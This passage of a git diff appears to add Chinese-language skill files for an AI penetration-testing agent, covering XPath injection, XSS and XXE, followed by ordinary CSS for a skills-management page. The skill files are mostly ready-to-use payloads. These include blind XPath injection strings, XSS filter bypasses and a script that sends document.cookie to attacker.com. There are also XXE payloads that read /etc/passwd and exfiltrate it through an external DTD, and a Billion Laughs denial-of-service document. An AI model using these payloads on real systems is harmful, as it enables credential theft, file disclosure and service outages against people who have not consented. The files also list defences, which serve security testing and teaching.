' or substring(//user[1]/password,1,1)='p' or '
|
||||
逐步获取密码字符
|
||||
```
|
||||
|
||||
### 盲注技术
|
||||
|
||||
**基于时间的盲注:**
|
||||
```
|
||||
' or count(//user[substring(username,1,1)='a'])>0 and sleep(5) or '
|
||||
```
|
||||
|
||||
**基于布尔值的盲注:**
|
||||
```
|
||||
' or substring(//user[1]/username,1,1)='a' or '
|
||||
观察响应差异
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 编码绕过
|
||||
|
||||
**URL编码:**
|
||||
```
|
||||
' or '1'='1 → %27%20or%20%271%27%3D%271
|
||||
```
|
||||
|
||||
**HTML实体编码:**
|
||||
```
|
||||
' → '
|
||||
" → "
|
||||
< → <
|
||||
> → >
|
||||
```
|
||||
|
||||
### 注释绕过
|
||||
|
||||
**使用注释:**
|
||||
```
|
||||
' or 1=1 or '
|
||||
' or '1'='1' or '
|
||||
```
|
||||
|
||||
### 函数绕过
|
||||
|
||||
**使用不同函数:**
|
||||
```
|
||||
substring(//user[1]/username,1,1)
|
||||
substring(//user[position()=1]/username,1,1)
|
||||
//user[1]/username/text()[1]
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### XPath表达式测试
|
||||
|
||||
**在线工具:**
|
||||
- XPath Tester
|
||||
- XMLSpy
|
||||
- Oxygen XML Editor
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截XPath查询请求
|
||||
2. 修改查询参数
|
||||
3. 观察响应结果
|
||||
|
||||
### Python脚本
|
||||
|
||||
```python
|
||||
from lxml import etree
|
||||
from lxml.etree import XPath
|
||||
|
||||
# 加载XML文档
|
||||
doc = etree.parse('users.xml')
|
||||
|
||||
# 测试注入
|
||||
xpath_expr = "//user[username='admin' or '1'='1']"
|
||||
xpath = XPath(xpath_expr)
|
||||
results = xpath(doc)
|
||||
print(results)
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以控制XPath查询
|
||||
2. 验证认证绕过或信息泄露
|
||||
3. 评估影响(未授权访问、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和输入参数
|
||||
- XPath查询构造方式
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(输入验证、参数化查询等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **输入验证**
|
||||
```java
|
||||
private static final String[] XPATH_ESCAPE_CHARS =
|
||||
{"'", "\"", "[", "]", "(", ")", "=", ">", "<", " "};
|
||||
|
||||
public static String escapeXPath(String input) {
|
||||
if (input == null) {
|
||||
return null;
|
||||
}
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < input.length(); i++) {
|
||||
char c = input.charAt(i);
|
||||
if (Arrays.asList(XPATH_ESCAPE_CHARS).contains(String.valueOf(c))) {
|
||||
sb.append("\\");
|
||||
}
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
```
|
||||
|
||||
2. **参数化查询**
|
||||
```java
|
||||
// 使用XPath变量
|
||||
String xpath = "//user[username=$username and password=$password]";
|
||||
XPathExpression expr = xpath.compile(xpath);
|
||||
XPathVariableResolver resolver = new MapVariableResolver(
|
||||
Map.of("username", escapedUsername, "password", escapedPassword));
|
||||
expr.setXPathVariableResolver(resolver);
|
||||
```
|
||||
|
||||
3. **白名单验证**
|
||||
```java
|
||||
// 只允许特定字符
|
||||
if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
|
||||
throw new IllegalArgumentException("Invalid input");
|
||||
}
|
||||
```
|
||||
|
||||
4. **使用预编译查询**
|
||||
```java
|
||||
// 预定义查询模板
|
||||
private static final String LOGIN_QUERY =
|
||||
"//user[username=$1 and password=$2]";
|
||||
|
||||
// 使用参数绑定
|
||||
```
|
||||
|
||||
5. **最小权限**
|
||||
- 限制XPath查询范围
|
||||
- 使用访问控制
|
||||
- 限制可查询的节点
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 注意不同XPath版本的语法差异
|
||||
- 测试时避免对XML数据造成影响
|
||||
- 了解目标应用的XPath实现
|
||||
@@ -0,0 +1,135 @@
|
||||
---
|
||||
name: xss-testing
|
||||
description: XSS跨站脚本攻击测试的专业技能
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# XSS测试技能
|
||||
|
||||
## 概述
|
||||
|
||||
跨站脚本攻击(XSS)允许攻击者在受害者的浏览器中执行恶意JavaScript代码。本技能涵盖反射型、存储型和DOM型XSS的测试方法。
|
||||
|
||||
## XSS类型
|
||||
|
||||
### 1. 反射型XSS (Reflected XSS)
|
||||
- 恶意脚本通过URL参数传递
|
||||
- 服务器直接返回包含脚本的响应
|
||||
- 需要用户点击恶意链接
|
||||
|
||||
### 2. 存储型XSS (Stored XSS)
|
||||
- 恶意脚本存储在服务器(数据库、文件等)
|
||||
- 所有访问受影响页面的用户都会执行脚本
|
||||
- 影响范围更大
|
||||
|
||||
### 3. DOM型XSS (DOM-based XSS)
|
||||
- 客户端JavaScript处理用户输入不当
|
||||
- 不涉及服务器端处理
|
||||
- 通过修改DOM结构触发
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 基础Payload
|
||||
```javascript
|
||||
<script>alert('XSS')</script>
|
||||
<img src=x onerror=alert('XSS')>
|
||||
<svg onload=alert('XSS')>
|
||||
<body onload=alert('XSS')>
|
||||
```
|
||||
|
||||
### 绕过过滤
|
||||
|
||||
#### 大小写绕过
|
||||
```javascript
|
||||
<ScRiPt>alert('XSS')</ScRiPt>
|
||||
```
|
||||
|
||||
#### 编码绕过
|
||||
```javascript
|
||||
%3Cscript%3Ealert('XSS')%3C/script%3E
|
||||
<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
#### 事件处理器
|
||||
```javascript
|
||||
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
|
||||
<div onmouseover=alert('XSS')>hover</div>
|
||||
<input onfocus=alert('XSS') autofocus>
|
||||
```
|
||||
|
||||
#### 伪协议
|
||||
```javascript
|
||||
<a href="javascript:alert('XSS')">click</a>
|
||||
<iframe src="javascript:alert('XSS')">
|
||||
```
|
||||
|
||||
### 高级绕过技术
|
||||
|
||||
#### 使用String.fromCharCode
|
||||
```javascript
|
||||
<script>alert(String.fromCharCode(88,83,83))</script>
|
||||
```
|
||||
|
||||
#### 使用eval和atob
|
||||
```javascript
|
||||
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
|
||||
```
|
||||
|
||||
#### 使用HTML实体
|
||||
```javascript
|
||||
<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### dalfox
|
||||
```bash
|
||||
# 基础扫描
|
||||
dalfox url "http://target.com/page?q=test"
|
||||
|
||||
# 指定参数
|
||||
dalfox url "http://target.com/page" -d "q=test" -X POST
|
||||
|
||||
# 使用自定义payload
|
||||
dalfox url "http://target.com/page?q=test" --custom-payload payloads.txt
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
- 使用Intruder模块进行批量测试
|
||||
- 使用Repeater手动测试
|
||||
- 使用Scanner自动检测
|
||||
|
||||
### 浏览器控制台
|
||||
- 测试DOM型XSS
|
||||
- 检查JavaScript执行环境
|
||||
- 调试payload
|
||||
|
||||
## 验证和利用
|
||||
|
||||
### 验证步骤
|
||||
1. 确认payload被执行
|
||||
2. 检查是否被过滤或编码
|
||||
3. 测试不同上下文(HTML、JavaScript、属性等)
|
||||
4. 评估影响(Cookie窃取、会话劫持等)
|
||||
|
||||
### 利用场景
|
||||
- Cookie窃取:`<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>`
|
||||
- 键盘记录:注入键盘事件监听器
|
||||
- 钓鱼攻击:伪造登录表单
|
||||
- 会话劫持:获取用户会话token
|
||||
|
||||
## 报告要点
|
||||
|
||||
- XSS类型(反射/存储/DOM)
|
||||
- 触发位置和参数
|
||||
- 完整的POC
|
||||
- 影响评估
|
||||
- 修复建议(输出编码、CSP策略等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
- 输入验证和过滤
|
||||
- 输出编码(HTML、JavaScript、URL)
|
||||
- Content Security Policy (CSP)
|
||||
- HttpOnly Cookie标志
|
||||
- 使用安全的框架和库
|
||||
@@ -0,0 +1,244 @@
|
||||
---
|
||||
name: xxe-testing
|
||||
description: XXE XML外部实体注入测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# XXE XML外部实体注入测试
|
||||
|
||||
## 概述
|
||||
|
||||
XXE(XML External Entity)注入是一种利用XML解析器处理外部实体的漏洞。本技能提供XXE漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
XML解析器在处理外部实体时,可能读取本地文件、进行SSRF攻击或导致拒绝服务。常见于:
|
||||
- XML文档解析
|
||||
- SOAP服务
|
||||
- Office文档(.docx, .xlsx等)
|
||||
- SVG图片
|
||||
- PDF文件
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别XML输入点
|
||||
|
||||
- 文件上传功能
|
||||
- API接口接受XML数据
|
||||
- SOAP请求
|
||||
- Office文档处理
|
||||
- 数据导入功能
|
||||
|
||||
### 2. 基础XXE检测
|
||||
|
||||
**测试外部实体:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
**测试网络请求(SSRF):**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "http://attacker.com/">
|
||||
]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
### 3. 盲XXE检测
|
||||
|
||||
**当响应不直接显示内容时:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "http://attacker.com/?file=/etc/passwd">
|
||||
]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
**使用参数实体:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
|
||||
%xxe;
|
||||
]>
|
||||
<foo>test</foo>
|
||||
```
|
||||
|
||||
**evil.dtd内容:**
|
||||
```xml
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?%file;'>">
|
||||
%eval;
|
||||
%exfil;
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 文件读取
|
||||
|
||||
**读取本地文件:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
**Windows路径:**
|
||||
```xml
|
||||
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
|
||||
```
|
||||
|
||||
### SSRF攻击
|
||||
|
||||
**内网探测:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
|
||||
]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
**端口扫描:**
|
||||
```xml
|
||||
<!ENTITY xxe SYSTEM "http://127.0.0.1:22">
|
||||
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
|
||||
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379">
|
||||
```
|
||||
|
||||
### 拒绝服务
|
||||
|
||||
**Billion Laughs攻击:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY lol "lol">
|
||||
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||
]>
|
||||
<foo>&lol9;</foo>
|
||||
```
|
||||
|
||||
### Office文档XXE
|
||||
|
||||
**docx文件结构:**
|
||||
```
|
||||
word/document.xml - 包含文档内容
|
||||
word/_rels/document.xml.rels - 包含外部引用
|
||||
```
|
||||
|
||||
**修改document.xml.rels:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships>
|
||||
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="file:///etc/passwd" TargetMode="External"/>
|
||||
</Relationships>
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 不同协议
|
||||
|
||||
**PHP:**
|
||||
```xml
|
||||
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
|
||||
```
|
||||
|
||||
**Java:**
|
||||
```xml
|
||||
<!ENTITY xxe SYSTEM "jar:file:///path/to/file.zip!/file.txt">
|
||||
```
|
||||
|
||||
**编码绕过:**
|
||||
```xml
|
||||
<!ENTITY xxe SYSTEM "file:///%65%74%63/%70%61%73%73%77%64">
|
||||
```
|
||||
|
||||
### 参数实体
|
||||
|
||||
**利用参数实体绕过某些限制:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
|
||||
]>
|
||||
<foo>test</foo>
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### XXEinjector
|
||||
|
||||
```bash
|
||||
# 基础使用
|
||||
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml
|
||||
|
||||
# 文件读取
|
||||
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml --oob=http://attacker.com --path=/etc/passwd
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截包含XML的请求
|
||||
2. 发送到Repeater
|
||||
3. 修改XML内容,添加外部实体
|
||||
4. 观察响应或外带数据
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认XML解析器处理外部实体
|
||||
2. 验证文件读取或SSRF是否成功
|
||||
3. 评估影响范围(敏感文件、内网访问等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和XML输入点
|
||||
- 可读取的文件或可访问的内网资源
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(禁用外部实体、使用白名单等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **禁用外部实体**
|
||||
```java
|
||||
// Java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
|
||||
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
|
||||
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
|
||||
```
|
||||
|
||||
2. **使用白名单验证**
|
||||
- 验证XML结构
|
||||
- 限制允许的实体
|
||||
|
||||
3. **使用安全的解析器**
|
||||
- 使用不处理DTD的解析器
|
||||
- 使用JSON替代XML
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免读取敏感文件造成数据泄露
|
||||
- 注意不同语言和库的XXE处理差异
|
||||
- 测试Office文档时注意文件格式
|
||||
+531
-3
@@ -840,6 +840,8 @@ header {
|
||||
justify-content: space-between;
|
||||
gap: 8px;
|
||||
position: relative;
|
||||
user-select: none;
|
||||
-webkit-user-select: none;
|
||||
}
|
||||
|
||||
.conversation-item:hover {
|
||||
@@ -3260,6 +3262,189 @@ header {
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.pagination-container {
|
||||
margin-top: 16px;
|
||||
}
|
||||
|
||||
/* Skills管理页面分页优化 */
|
||||
.page-content-with-pagination {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
height: 100%;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.skills-list-with-pagination {
|
||||
flex: 1;
|
||||
overflow-y: auto;
|
||||
overflow-x: hidden;
|
||||
min-height: 0;
|
||||
/* 为分页组件预留空间,确保视觉连接自然 */
|
||||
padding-bottom: 0;
|
||||
}
|
||||
|
||||
.pagination-fixed {
|
||||
background: var(--bg-primary);
|
||||
margin-top: 0;
|
||||
padding: 0;
|
||||
/* 确保分页组件宽度与内容区域一致,不包括滚动条 */
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
/* 确保分页组件不延伸到滚动条区域 */
|
||||
overflow: hidden;
|
||||
/* 当列表有滚动条时,分页组件应该与内容区域对齐 */
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination {
|
||||
margin-top: 0;
|
||||
border-top: 1px solid var(--border-color);
|
||||
padding: 16px 20px;
|
||||
background: var(--bg-primary);
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
gap: 20px;
|
||||
flex-wrap: wrap;
|
||||
/* 确保分页内容与列表内容对齐 */
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
/* 柔和的顶部边框,与列表自然分离 */
|
||||
border-top-color: rgba(233, 236, 239, 0.6);
|
||||
}
|
||||
|
||||
/* 左侧:信息显示和每页数量选择器 - 更自然的设计 */
|
||||
.pagination-fixed .pagination-info {
|
||||
font-size: 0.875rem;
|
||||
color: var(--text-secondary);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 20px;
|
||||
flex-wrap: wrap;
|
||||
/* 去掉背景色和边框,更自然 */
|
||||
padding: 0;
|
||||
background: transparent;
|
||||
border-radius: 0;
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-info span {
|
||||
color: var(--text-primary);
|
||||
white-space: nowrap;
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-info .pagination-page-size {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
font-size: 0.875rem;
|
||||
color: var(--text-secondary);
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-info .pagination-page-size select {
|
||||
padding: 6px 10px;
|
||||
border-radius: 6px;
|
||||
border: 1px solid var(--border-color);
|
||||
background: var(--bg-primary);
|
||||
color: var(--text-primary);
|
||||
font-size: 0.875rem;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s ease;
|
||||
min-width: 70px;
|
||||
font-weight: 500;
|
||||
/* 更柔和的边框 */
|
||||
border-color: rgba(233, 236, 239, 0.8);
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-info .pagination-page-size select:focus {
|
||||
outline: none;
|
||||
border-color: var(--accent-color);
|
||||
box-shadow: 0 0 0 3px rgba(0, 102, 255, 0.1);
|
||||
background: var(--bg-primary);
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-info .pagination-page-size select:hover {
|
||||
border-color: var(--accent-color);
|
||||
background: var(--bg-secondary);
|
||||
}
|
||||
|
||||
/* 右侧:分页按钮组 - 更统一的设计 */
|
||||
.pagination-fixed .pagination-controls {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-controls .btn-secondary {
|
||||
padding: 7px 14px;
|
||||
font-size: 0.875rem;
|
||||
min-width: auto;
|
||||
transition: all 0.2s ease;
|
||||
font-weight: 500;
|
||||
/* 更柔和的边框 */
|
||||
border-color: rgba(233, 236, 239, 0.8);
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-controls .btn-secondary:hover:not(:disabled) {
|
||||
background: var(--bg-tertiary);
|
||||
border-color: var(--accent-color);
|
||||
color: var(--accent-color);
|
||||
transform: translateY(-1px);
|
||||
box-shadow: 0 2px 4px rgba(0, 102, 255, 0.1);
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-controls .btn-secondary:active:not(:disabled) {
|
||||
transform: translateY(0);
|
||||
box-shadow: 0 1px 2px rgba(0, 102, 255, 0.08);
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-controls .btn-secondary:disabled {
|
||||
opacity: 0.4;
|
||||
cursor: not-allowed;
|
||||
background: var(--bg-secondary);
|
||||
border-color: var(--border-color);
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-page {
|
||||
font-size: 0.875rem;
|
||||
color: var(--text-secondary);
|
||||
padding: 0 12px;
|
||||
white-space: nowrap;
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
/* 响应式优化 */
|
||||
@media (max-width: 768px) {
|
||||
.pagination-fixed .pagination {
|
||||
flex-direction: column;
|
||||
gap: 16px;
|
||||
align-items: stretch;
|
||||
padding: 16px;
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-info {
|
||||
width: 100%;
|
||||
justify-content: center;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-controls {
|
||||
width: 100%;
|
||||
justify-content: center;
|
||||
flex-wrap: wrap;
|
||||
gap: 6px;
|
||||
}
|
||||
|
||||
.pagination-fixed .pagination-controls .btn-secondary {
|
||||
flex: 1;
|
||||
min-width: 60px;
|
||||
max-width: 120px;
|
||||
}
|
||||
}
|
||||
|
||||
.pagination-info {
|
||||
font-size: 0.875rem;
|
||||
color: var(--text-secondary);
|
||||
@@ -3655,6 +3840,14 @@ header {
|
||||
overflow-wrap: break-word;
|
||||
}
|
||||
|
||||
.monitor-table th {
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.monitor-table td {
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.monitor-table td:nth-child(2) {
|
||||
max-width: 250px;
|
||||
overflow: hidden;
|
||||
@@ -3754,14 +3947,31 @@ header {
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
accent-color: var(--accent-color);
|
||||
margin: 0;
|
||||
vertical-align: middle;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.monitor-table th:first-child,
|
||||
.monitor-table td:first-child {
|
||||
/* 确保复选框单元格垂直居中 */
|
||||
.monitor-table td:first-child,
|
||||
.monitor-table th:first-child {
|
||||
text-align: center;
|
||||
width: 40px;
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
/* 统一表头复选框大小 */
|
||||
#monitor-select-all {
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
cursor: pointer;
|
||||
accent-color: var(--accent-color);
|
||||
margin: 0;
|
||||
vertical-align: middle;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
/* 移除第一列的特殊样式,让表格更灵活 */
|
||||
|
||||
.monitor-vuln-container {
|
||||
display: grid;
|
||||
gap: 16px;
|
||||
@@ -8784,3 +8994,321 @@ header {
|
||||
right: 8px;
|
||||
}
|
||||
}
|
||||
|
||||
/* Skills选择相关样式 */
|
||||
.role-skills-controls {
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.role-skills-actions {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.role-skills-search-box {
|
||||
position: relative;
|
||||
flex: 1;
|
||||
min-width: 200px;
|
||||
max-width: 400px;
|
||||
}
|
||||
|
||||
.role-skills-search-box input {
|
||||
width: 100%;
|
||||
padding: 8px 32px 8px 12px;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
font-size: 0.875rem;
|
||||
background: var(--bg-primary);
|
||||
color: var(--text-primary);
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
.role-skills-search-box input:focus {
|
||||
outline: none;
|
||||
border-color: var(--accent-color);
|
||||
box-shadow: 0 0 0 3px rgba(0, 102, 255, 0.1);
|
||||
}
|
||||
|
||||
.role-skills-search-clear {
|
||||
position: absolute;
|
||||
right: 8px;
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
background: none;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
color: var(--text-secondary);
|
||||
padding: 4px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
transition: color 0.2s;
|
||||
}
|
||||
|
||||
.role-skills-search-clear:hover {
|
||||
color: var(--text-primary);
|
||||
}
|
||||
|
||||
.role-skills-stats {
|
||||
font-size: 0.8125rem;
|
||||
color: var(--text-secondary);
|
||||
margin-top: 8px;
|
||||
}
|
||||
|
||||
.role-skills-list {
|
||||
max-height: 300px;
|
||||
overflow-y: auto;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
padding: 8px;
|
||||
background: var(--bg-primary);
|
||||
}
|
||||
|
||||
.role-skill-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
padding: 8px 10px;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
background: var(--bg-primary);
|
||||
transition: all 0.2s ease;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
|
||||
.role-skill-item:last-child {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.role-skill-item:hover {
|
||||
background: var(--bg-secondary);
|
||||
border-color: var(--accent-color);
|
||||
box-shadow: 0 2px 4px rgba(0, 102, 255, 0.1);
|
||||
}
|
||||
|
||||
.role-skill-item .checkbox-text {
|
||||
font-size: 0.9375rem;
|
||||
color: var(--text-primary);
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.skills-loading,
|
||||
.skills-empty,
|
||||
.skills-error {
|
||||
padding: 20px;
|
||||
text-align: center;
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.875rem;
|
||||
}
|
||||
|
||||
.skills-error {
|
||||
color: var(--error-color);
|
||||
}
|
||||
|
||||
/* Skills管理页面样式 */
|
||||
.skills-controls {
|
||||
margin-bottom: 24px;
|
||||
}
|
||||
|
||||
.skills-stats-bar {
|
||||
display: flex;
|
||||
gap: 16px;
|
||||
padding: 16px;
|
||||
background: var(--bg-primary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 8px;
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
|
||||
.skill-stat-item {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 4px;
|
||||
}
|
||||
|
||||
.skill-stat-label {
|
||||
font-size: 0.8125rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.skill-stat-value {
|
||||
font-size: 1.25rem;
|
||||
font-weight: 600;
|
||||
color: var(--text-primary);
|
||||
}
|
||||
|
||||
.skills-filters {
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.skills-filters input {
|
||||
flex: 1;
|
||||
padding: 8px 12px;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
font-size: 0.875rem;
|
||||
}
|
||||
|
||||
.skills-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.skill-item {
|
||||
background: var(--bg-primary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 8px;
|
||||
padding: 16px;
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
.skill-item:hover {
|
||||
border-color: var(--accent-color);
|
||||
box-shadow: 0 2px 8px rgba(0, 102, 255, 0.1);
|
||||
}
|
||||
|
||||
.skill-item-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: flex-start;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.skill-item-info {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.skill-item-name {
|
||||
font-size: 1.125rem;
|
||||
font-weight: 600;
|
||||
color: var(--text-primary);
|
||||
margin: 0 0 8px 0;
|
||||
}
|
||||
|
||||
.skill-item-desc {
|
||||
font-size: 0.875rem;
|
||||
color: var(--text-secondary);
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.skill-item-actions {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.btn-icon {
|
||||
background: none;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 4px;
|
||||
padding: 6px;
|
||||
cursor: pointer;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
color: var(--text-secondary);
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
.btn-icon:hover {
|
||||
background: var(--bg-secondary);
|
||||
border-color: var(--accent-color);
|
||||
color: var(--accent-color);
|
||||
}
|
